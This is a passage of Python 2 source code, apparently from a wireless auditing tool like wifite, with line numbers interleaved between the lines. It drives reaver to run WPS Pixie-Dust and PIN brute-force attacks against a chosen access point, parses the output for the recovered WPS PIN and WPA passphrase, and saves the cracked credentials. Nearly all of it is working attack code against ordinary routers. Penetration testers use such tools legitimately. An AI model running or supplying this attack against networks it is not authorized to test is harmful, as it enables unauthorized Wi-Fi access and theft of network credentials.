if self.RUN_CONFIG.PIXIE:
3170
return False
3171
3172
# Try the WPS PIN attack
3173
return self.attack_wps()
3174
3175
def EndAttack(self):
3176
'''
3177
Abstract method for ending the WPS attack
3178
'''
3179
pass
3180
3181
def is_pixie_supported(self):
3182
'''
3183
Checks if current version of Reaver supports the pixie-dust attack
3184
'''
3185
p = Popen(['reaver', '-h'], stdout=DN, stderr=PIPE)
3186
stdout = p.communicate()[1]
3187
for line in stdout.split('\n'):
3188
if '--pixie-dust' in line:
3189
return True
3190
return False
3191
3192
def attack_wps_pixie(self):
3193
"""
3194
Attempts "Pixie WPS" attack which certain vendors
3195
susceptible to.
3196
"""
3197
3198
# TODO Check if the user's version of reaver supports the Pixie attack (1.5.2+, "mod by t6_x")
3199
# If not, return False
3200
3201
output_file = os.path.join(self.RUN_CONFIG.temp, 'out.out')
3202
pixie_file = os.path.join(self.RUN_CONFIG.temp, 'pixie.out')
3203
3204
print GR + ' [0:00:00]' + W + ' initializing %sWPS Pixie attack%s on %s' % \
3205
(G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
3206
cmd = ['reaver',
3207
'-i', self.iface,
3208
'-b', self.target.bssid,
3209
'-c', self.target.channel,
3210
'-K', '1', # Pixie WPS attack
3211
'-vv'] # verbose output
3212
3213
# Redirect output to files
3214
outf = open(output_file, 'a')
3215
errf = open(pixie_file, 'a')
3216
3217
# Start process
3218
proc = Popen(cmd, stdout=outf, stderr=errf)
3219
3220
cracked = False # Flag for when password/pin is found
3221
time_started = time.time()
3222
pin = ''
3223
key = ''
3224
3225
try:
3226
while not cracked:
3227
time.sleep(1)
3228
errf.flush()
3229
if proc.poll() != None:
3230
# Process stopped: Cracked? Failed?
3231
errf.close()
3232
inf = open(output_file, 'r')
3233
lines = inf.read().split('\n')
3234
inf.close()
3235
for line in lines:
3236
# Cracked: older pixiewps/reaver output
3237
if line.find("WPS PIN: '") != -1:
3238
pin = line[line.find("WPS PIN: '") + 10:-1]
3239
cracked = True
3240
if line.find("WPA PSK: '") != -1:
3241
key = line[line.find("WPA PSK: '") + 10:-1]
3242
3243
# Cracked: Newer pixiewps output
3244
if line.find("WPS pin: ") != -1:
3245
pin = line[line.find("WPS pin: ") + 10:]
3246
cracked = True
3247
if line.find("WPA PSK: ") != -1:
3248
key = line[line.find("WPA PSK: ") + 10:]
3249
3250
# Failed:
3251
if 'Pixie-Dust' in line and 'WPS pin not found' in line:
3252
# PixieDust isn't possible on this router
3253
print '\r %s WPS Pixie attack%s failed - WPS pin not found %s' % (GR + sec_to_hms(time.time() - time_started) + G, R, W)
3254
break
3255
break
3256
3257
# (Reaver is still running)
3258
3259
print '\r %s WPS Pixie attack:' % (GR + sec_to_hms(time.time() - time_started) + G),
3260
3261
# Check if there's an output file to parse
3262
if not os.path.exists(output_file): continue
3263
inf = open(output_file, 'r')
3264
lines = inf.read().split('\n')
3265
inf.close()
3266
3267
output_line = ''
3268
for line in lines:
3269
line = line.replace('[+]', '').replace('[!]', '').replace('\0', '').strip()
3270
if line == '' or line == ' ' or line == '\t': continue
3271
if len(line) > 50:
3272
# Trim to a reasonable size
3273
line = line[0:47] + '...'
3274
output_line = line
3275
3276
if 'Sending M2 message' in output_line:
3277
# At this point in the Pixie attack, all output is via stderr
3278
# We have to wait for the process to finish to see the result.
3279
print O, 'sending M2 message (may take a while)... ', W,
3280
elif output_line != '':
3281
# Print the last message from reaver as a "status update"
3282
print C, output_line, W, ' ' * (50 - len(output_line)),
3283
3284
stdout.flush()
3285
3286
# Clear out output file
3287
inf = open(output_file, 'w')
3288
inf.close()
3289
3290
# End of big "while not cracked" loop
3291
if cracked:
3292
if pin != '':
3293
print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W)
3294
3295
if key != '':
3296
print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
3297
else:
3298
key = 'N/A'
3299
3300
self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
3301
G + self.target.ssid + W, C + key + W, C + pin + W))
3302
self.RUN_CONFIG.WPA_FINDINGS.append('')
3303
3304
t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
3305
t.key = key
3306
t.wps = pin
3307
self.RUN_CONFIG.save_cracked(t)
3308
else:
3309
print GR + '\n [+]' + R + ' Attack failed.' + W
3310
3311
except KeyboardInterrupt:
3312
print R + '\n (^C)' + O + ' WPS Pixie attack interrupted' + W
3313
if attack_interrupted_prompt():
3314
send_interrupt(proc)
3315
print ''
3316
self.RUN_CONFIG.exit_gracefully(0)
3317
3318
send_interrupt(proc)
3319
3320
# Delete the files
3321
if os.path.exists(output_file): os.remove(output_file)
3322
if os.path.exists(pixie_file): os.remove(pixie_file)
3323
3324
return cracked
3325
3326
3327
def attack_wps(self):
3328
"""
3329
Mounts attack against target on iface.
3330
Uses "reaver" to attempt to brute force the PIN.
3331
Once PIN is found, PSK can be recovered.
3332
PSK is displayed to user and added to WPS_FINDINGS
3333
"""
3334
print GR + ' [0:00:00]' + W + ' initializing %sWPS PIN attack%s on %s' % \
3335
(G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
3336
3337
output_file = os.path.join(self.RUN_CONFIG.temp, 'out.out')
3338
cmd = ['reaver',
3339
'-i', self.iface,
3340
'-b', self.target.bssid,
3341
'-o', output_file, # Dump output to file to be monitored
3342
'-c', self.target.channel,
3343
'-vv'] # verbose output
3344
proc = Popen(cmd, stdout=DN, stderr=DN)
3345
3346
cracked = False # Flag for when password/pin is found
3347
percent = 'x.xx%' # Percentage complete
3348
aps = 'x' # Seconds per attempt
3349
time_started = time.time()
3350
last_success = time_started # Time of last successful attempt
3351
last_pin = '' # Keep track of last pin tried (to detect retries)
3352
retries = 0 # Number of times we have attempted this PIN
3353
tries_total = 0 # Number of times we have attempted all pins
3354
tries = 0 # Number of successful attempts
3355
pin = ''
3356
key = ''
3357
3358
try:
3359
while not cracked:
3360
time.sleep(1)
3361
3362
if not os.path.exists(output_file): continue
3363
3364
if proc.poll() != None:
3365
# Process stopped: Cracked? Failed?
3366
inf = open(output_file, 'r')
3367
lines = inf.read().split('\n')
3368
inf.close()
3369
for line in lines:
3370
# When it's cracked:
3371
if line.find("WPS PIN: '") != -1:
3372
pin = line[line.find("WPS PIN: '") + 10:-1]
3373
cracked = True
3374
if line.find("WPA PSK: '") != -1:
3375
key = line[line.find("WPA PSK: '") + 10:-1]
3376
3377
break
3378
3379
inf = open(output_file, 'r')
3380
lines = inf.read().split('\n')
3381
inf.close()
3382
3383
for line in lines:
3384
if line.strip() == '': continue
3385
# Status
3386
if line.find(' complete @ ') != -1 and len(line) > 8:
3387
percent = line.split(' ')[1]
3388
i = line.find(' (')
3389
j = line.find(' seconds/', i)
3390
if i != -1 and j != -1: aps = line[i + 2:j]
3391
# PIN attempt
3392
elif line.find(' Trying pin ') != -1:
3393
pin = line.strip().split(' ')[-1]
3394
if pin == last_pin:
3395
retries += 1
3396
elif tries_total == 0:
3397
last_pin = pin
3398
tries_total -= 1
3399
else:
3400
last_success = time.time()
3401
tries += 1
3402
last_pin = pin
3403
retries = 0
3404
tries_total += 1
3405
3406
# Warning
3407
elif line.endswith('10 failed connections in a row'):
3408
pass
3409
3410
# Check for PIN/PSK
3411
elif line.find("WPS PIN: '") != -1:
3412
pin = line[line.find("WPS PIN: '") + 10:-1]
3413
cracked = True
3414
elif line.find("WPA PSK: '") != -1:
3415
key = line[line.find("WPA PSK: '") + 10:-1]
3416
if cracked: break
3417
3418
print ' %s WPS attack, %s success/ttl,' % \
3419
(GR + sec_to_hms(time.time() - time_started) + W, \
3420
G + str(tries) + W + '/' + O + str(tries_total) + W),
3421
3422
if percent == 'x.xx%' and aps == 'x':
3423
print '\r',
3424
else:
3425
print '%s complete (%s sec/att) \r' % (G + percent + W, G + aps + W),
3426
3427
if self.RUN_CONFIG.WPS_TIMEOUT > 0 and (time.time() - last_success) > self.RUN_CONFIG.WPS_TIMEOUT:
3428
print R + '\n [!]' + O + ' unable to complete successful try in %d seconds' % (
3429
self.RUN_CONFIG.WPS_TIMEOUT)
3430
print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
3431
break
3432
3433
if self.RUN_CONFIG.WPS_MAX_RETRIES > 0 and retries > self.RUN_CONFIG.WPS_MAX_RETRIES:
3434
print R + '\n [!]' + O + ' unable to complete successful try in %d retries' % (
3435
self.RUN_CONFIG.WPS_MAX_RETRIES)
3436
print R + ' [+]' + O + ' the access point may have WPS-locking enabled, or is too far away' + W
3437
print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
3438
break
3439
3440
if self.RUN_CONFIG.WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and (
3441
float(tries) / tries_total) < self.RUN_CONFIG.WPS_RATIO_THRESHOLD:
3442
print R + '\n [!]' + O + ' successful/total attempts ratio was too low (< %.2f)' % (
3443
self.RUN_CONFIG.WPS_RATIO_THRESHOLD)
3444
print R + ' [+]' + W + ' skipping %s' % (G + self.target.ssid + W)
3445
break
3446
3447
stdout.flush()
3448
# Clear out output file if bigger than 1mb
3449
inf = open(output_file, 'w')
3450
inf.close()
3451
3452
# End of big "while not cracked" loop
3453
3454
if cracked:
3455
if pin != '':
3456
print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W)
3457
if key != '':
3458
print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
3459
else:
3460
key = 'N/A'
3461
self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
3462
G + self.target.ssid + W, C + key + W, C + pin + W))
3463
self.RUN_CONFIG.WPA_FINDINGS.append('')
3464
3465
t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
3466
t.key = key
3467
t.wps = pin
3468
self.RUN_CONFIG.save_cracked(t)
3469
3470
except KeyboardInterrupt:
3471
print R + '\n (^C)' + O + ' WPS brute-force attack interrupted' + W
3472
if attack_interrupted_prompt():
3473
send_interrupt(proc)
3474
print ''
3475
self.RUN_CONFIG.exit_gracefully(0)
3476
3477
send_interrupt(proc)
3478
3479
return cracked
3480
3481
3482
if __name__ == '__main__':
3483
RUN_CONFIG = RunConfiguration()
3484
try:
3485
banner(RUN_CONFIG)
3486
engine = RunEngine(RUN_CONFIG)
3487
engine.Start()
3488
#main(RUN_CONFIG)
3489
except KeyboardInterrupt:
3490
print R + '\n (^C)' + O + ' interrupted\n' + W
3491
except EOFError:
3492
print R + '\n (^D)' + O + ' interrupted\n' + W
3493
3494
RUN_CONFIG.exit_gracefully(0)
3495
3496